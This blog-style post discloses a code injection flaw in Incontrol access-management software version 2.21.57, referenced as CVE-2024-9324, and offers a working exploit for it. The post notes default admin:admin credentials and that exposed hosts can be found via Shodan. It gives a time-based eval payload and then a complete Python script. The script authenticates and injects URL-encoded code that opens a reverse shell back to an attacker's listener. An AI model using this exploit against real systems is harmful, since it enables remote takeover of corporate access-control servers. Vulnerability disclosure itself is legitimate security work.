Hello everyone! Today I will present in detail the exploitation of a Code Injection vulnerability that I recently found in the Incontrol software, version 2.21.57.
What is Incontrol?
Incontrol is a software mainly used for access management in companies and is more present in internal networks, although it is possible to find exposed hosts on the internet through tools such as Shodan and Fofa.
Proof of Concept
To exploit this vulnerability, it is necessary to have a user with permission to generate reports. In addition, the software uses, by default, administrator credentials such as “admin:admin”, which makes it easier to identify hosts configured with these default credentials.
With a successful login to the application, when navigating through the menu and accessing the “Event Reports” option, it is possible to capture the vulnerable request when trying to generate a PDF report.
Using a payload that executes Python code to perform a 10-second time sleep, we observed that the application responded as expected, returning the response in approximately 11 seconds.
eval ( compile ( ' for x in range(1): \n import time \n time.sleep(10) ' , ' a ' , ' single ' ))
Exploit
To make the exploit easier, I developed an exploit in Python that automates the entire process and allows you to obtain a reverse shell.
#!/usr/bin/python3
import argparse
import requests
import warnings
warnings . filterwarnings ( " ignore " )
proxies = { " http " : " http://127.0.0.1:8080 " , " https " : " http://127.0.0.1:8080 " }
r = requests . session ()
def login ( target , user , password ):
burp0_url = target + " :4441/v1/auth/ "
burp0_headers = { " User-Agent " : " Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 " , " Accept " : " application/json, text/plain, */* " , " Accept-Language " : " pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 " , " Accept-Encoding " : " gzip, deflate, br " , " Content-Type " : " application/json " , " Origin " : f " { target } :4445 " , " Referer " : f " { target } :4445/ " , " Sec-Fetch-Dest " : " empty " , " Sec-Fetch-Mode " : " cors " , " Sec-Fetch-Site " : " same-site " , " Priority " : " u=0 " , " Te " : " trailers " , " Connection " : " keep-alive " }
burp0_json = { " password " : f " { user } " , " username " : f " { password } " }
response = requests . post ( burp0_url , headers = burp0_headers , json = burp0_json , verify = False )
# Verifica se a resposta foi bem-sucedida
if response . status_code == 200 :
# Obtém o token do JSON da resposta
token = response . json (). get ( " token " )
if token :
return token
else :
print ( " [X] - Token Extraction Error! " )
return None
else :
print ( f " [X] - Login Failed: { response . status_code } " )
return None
def exploit ( target , token , lhost , lport ):
burp0_url = target + f " :4441/v1/evento/relatorio?page=1&limit=10000&fields=eval(compile( ' for%20x%20in%20range(1)%3a%5cn%20import%20os%2csocket%2csubprocess%2cthreading%5cn%20def%20s2p(s%2c%20p)%3a%5cn%20%20%20%20while%20True%3a%5cn%20%20%20%20%20%20%20%20data%20%3d%20s.recv(1024)%5cn%20%20%20%20%20%20%20%20if%20len(data)%20%3e%200%3a%5cn%20%20%20%20%20%20%20%20%20%20%20%20p.stdin.write(data)%5cn%20%20%20%20%20%20%20%20%20%20%20%20p.stdin.flush()%5cn%20def%20p2s(s%2c%20p)%3a%5cn%20%20%20%20while%20True%3a%5cn%20%20%20%20%20%20%20%20s.send(p.stdout.read(1))%5cn%20s%20%3d%20socket.socket(socket.AF_INET%2c%20socket.SOCK_STREAM)%5cn%20s.connect((%22 { lhost } %22%2c { lport } ))%5cn%20p%20%3d%20subprocess.Popen(%5b%22cmd%22%5d%2c%20stdout%3dsubprocess.PIPE%2c%20stderr%3dsubprocess.STDOUT%2c%20stdin%3dsubprocess.PIPE)%5cn%20s2p_thread%20%3d%20threading.Thread(target%3ds2p%2c%20args%3d%5bs%2c%20p%5d)%5cn%20s2p_thread.daemon%20%3d%20True%5cn%20s2p_thread.start()%5cn%20p2s_thread%20%3d%20threading.Thread(target%3dp2s%2c%20args%3d%5bs%2c%20p%5d)%5cn%20p2s_thread.daemon%20%3d%20True%5cn%20p2s_thread.start()%5cn%20try%3a%5cn%20%20%20%20p.wait()%5cn%20except%20KeyboardInterrupt%3a%5cn%20%20%20%20s.close() ' , ' a ' , ' single ' )) "
burp0_headers = { " User-Agent " : " Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 " , " Accept " : " application/json, text/plain, */* " , " Accept-Language " : " pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 " , " Accept-Encoding " : " gzip, deflate, br " , " Authorization " : f " JWT { token } " , " Origin " : " https://localhost:4445 " , " Referer " : " https://localhost:4445/ " , " Sec-Fetch-Dest " : " empty " , " Sec-Fetch-Mode " : " cors " , " Sec-Fetch-Site " : " same-site " , " Te " : " trailers " , " Connection " : " keep-alive " }
response = requests . get ( burp0_url , headers = burp0_headers , verify = False )
def main ():
# Parse Arguments
parser = argparse . ArgumentParser ()
parser . add_argument ( ' -t ' , ' --target ' , help = ' Target ip address or hostname ' , required = True )
parser . add_argument ( ' -lh ' , ' --lhost ' , help = ' Listening IP address for reverse shell ' , required = True )
parser . add_argument ( ' -lp ' , ' --lport ' , help = ' Listening port for reverse shell ' , required = True )
parser . add_argument ( ' -u ' , ' --username ' , help = ' Username to target ' , required = True )
parser . add_argument ( ' -p ' , ' --password ' , help = ' Password value to set ' , required = True )
args = parser . parse_args ()
print ( " [!] Running the exploit for CVE-2024-9324 [!] " )
print ( " [!] You need to run nc -nlvp manually [!] " )
print ( " [!] Usage example: python3 exploit.py --target https://TARGET -lh LHOST -lp 8080 -u admin -p admin [!] " )
print ( " [+] Logging in... [+] " )
token = login ( args . target , args . username , args . password )
print ( " [+] Sending shell! [+] " )
exploit ( args . target , token , args . lhost , args . lport )
if __name__ == ' __main__ ' :
main ()
That’s it for today guys, I hope you enjoyed this Python Code Injection vulnerability and don’t forget, keep hacking.